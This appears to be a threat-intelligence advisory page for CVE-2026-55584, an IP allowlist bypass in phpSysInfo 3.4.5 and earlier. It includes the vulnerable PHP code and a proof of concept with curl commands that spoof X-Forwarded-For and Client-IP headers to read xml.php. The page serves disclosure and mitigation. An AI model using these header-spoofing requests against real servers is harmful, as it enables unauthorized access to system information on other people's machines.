phpSysInfo 3.4.5 - IP Allowlist Bypass
phpSysInfo version 3.4.5 and earlier contains an IP allowlist bypass vulnerability. The application determines the client IP address by first checking the X-Forwarded-For and Client-IP HTTP headers, which can be attacker-controlled, before falling back to the more trustworthy REMOTE_ADDR. Because there is no trusted-proxy configuration, an attacker can spoof an allowed IP address via these headers and bypass the IP allowlist restriction to access sensitive system information exposed through xml.php. This vulnerability is fixed in version 3.4.6 by restricting the use of these headers to requests from trusted proxies only.
AI Analysis
Technical Summary
The vulnerability (CVE-2026-55584) in phpSysInfo 3.4.5 and earlier arises from improper client IP address validation in the IP allowlist feature. The code prioritizes the X-Forwarded-For and Client-IP headers over REMOTE_ADDR without verifying if the request comes from a trusted proxy. This allows an attacker to spoof an allowed IP address in these headers and bypass the IP allowlist, gaining unauthorized access to full system information via the xml.php endpoint. The issue is resolved in version 3.4.6 by changing the logic to default to REMOTE_ADDR and only honor X-Forwarded-For and Client-IP headers from configured trusted proxies.
Potential Impact
An attacker can bypass the IP allowlist intended to restrict access to sensitive system information. This allows unauthorized disclosure of full system details exposed by the xml.php interface. The impact is information disclosure, which could aid further attacks or reconnaissance.
Mitigation Recommendations
A fix is available in phpSysInfo version 3.4.6. Users should upgrade to this version or later to ensure the IP allowlist properly validates client IP addresses by honoring X-Forwarded-For and Client-IP headers only from trusted proxies. Until upgraded, relying on the IP allowlist for access control is insecure.
Indicators of Compromise
- exploit-code: # Exploit Title: phpSysInfo 3.4.5 - IP Allowlist Bypass # Google Dork: N/A # Date: 2026-07-11 # Exploit Author: Muhammed Mirac Kayikci # Vendor Homepage: https://phpsysinfo.github.io/phpsysinfo/ # Software Link: https://github.com/phpsysinfo/phpsysinfo/archive/refs/tags/v3.4.5.tar.gz # Version: <= 3.4.5 # Tested on: Linux (Apache/PHP) # CVE : CVE-2026-55584 References: ----------- GHSA: https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh CVE: https://www.cve.org/CVERecord?id=CVE-2026-55584 Description: ------------ phpSysInfo's PSI_ALLOWED IP allowlist resolves the client IP from the attacker-controlled "X-Forwarded-For" (then "Client-IP") request headers before falling back to REMOTE_ADDR. There is no trusted-proxy concept, so an attacker can spoof an allowed IP address, defeat the allowlist, and read full system information exposed via xml.php. Vulnerable code (read_config.php): ---------------------------------- if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } elseif (isset($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; } else { $ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last } Proof of Concept: ----------------- # Allowlist set to an address the attacker does not own (ALLOWED=8.8.8.8) # 1) Baseline - request is blocked: curl -s http://target/xml.php # -> "Client IP address (...) not allowed." # 2) Bypass via X-Forwarded-For - returns full system XML: curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # 3) Bypass via Client-IP - returns full system XML: curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php Fix: ---- Fixed in 3.4.6 (commit 019fa2d): default to REMOTE_ADDR; honor X-Forwarded-For / Client-IP only from configured trusted proxies.
phpSysInfo 3.4.5 - IP Allowlist Bypass
Description
phpSysInfo version 3.4.5 and earlier contains an IP allowlist bypass vulnerability. The application determines the client IP address by first checking the X-Forwarded-For and Client-IP HTTP headers, which can be attacker-controlled, before falling back to the more trustworthy REMOTE_ADDR. Because there is no trusted-proxy configuration, an attacker can spoof an allowed IP address via these headers and bypass the IP allowlist restriction to access sensitive system information exposed through xml.php. This vulnerability is fixed in version 3.4.6 by restricting the use of these headers to requests from trusted proxies only.
Affected software
pkg:github/phpsysinfo/phpsysinfoRun on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability (CVE-2026-55584) in phpSysInfo 3.4.5 and earlier arises from improper client IP address validation in the IP allowlist feature. The code prioritizes the X-Forwarded-For and Client-IP headers over REMOTE_ADDR without verifying if the request comes from a trusted proxy. This allows an attacker to spoof an allowed IP address in these headers and bypass the IP allowlist, gaining unauthorized access to full system information via the xml.php endpoint. The issue is resolved in version 3.4.6 by changing the logic to default to REMOTE_ADDR and only honor X-Forwarded-For and Client-IP headers from configured trusted proxies.
Potential Impact
An attacker can bypass the IP allowlist intended to restrict access to sensitive system information. This allows unauthorized disclosure of full system details exposed by the xml.php interface. The impact is information disclosure, which could aid further attacks or reconnaissance.
Mitigation Recommendations
A fix is available in phpSysInfo version 3.4.6. Users should upgrade to this version or later to ensure the IP allowlist properly validates client IP addresses by honoring X-Forwarded-For and Client-IP headers only from trusted proxies. Until upgraded, relying on the IP allowlist for access control is insecure.
Technical Details
- Cve
- CVE-2026-55584
- Version
- <= 3.4.5
- Author
- Muhammed Mirac Kayikci
- Platform
- Linux
- Edb Id
- 52648
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for phpSysInfo 3.4.5 - IP Allowlist Bypass
# Exploit Title: phpSysInfo 3.4.5 - IP Allowlist Bypass # Google Dork: N/A # Date: 2026-07-11 # Exploit Author: Muhammed Mirac Kayikci # Vendor Homepage: https://phpsysinfo.github.io/phpsysinfo/ # Software Link: https://github.com/phpsysinfo/phpsysinfo/archive/refs/tags/v3.4.5.tar.gz # Version: <= 3.4.5 # Tested on: Linux (Apache/PHP) # CVE : CVE-2026-55584 References: ----------- GHSA: https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh CVE: https://www.cve.org/... (1321 more characters)
Threat ID: 6a838813bf8831d539a900bd
Added to database: 08/17/2026, 22:15:47 UTC
Last enriched: 08/17/2026, 22:16:24 UTC
Last updated: 08/18/2026, 01:02:45 UTC
Views: 5
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.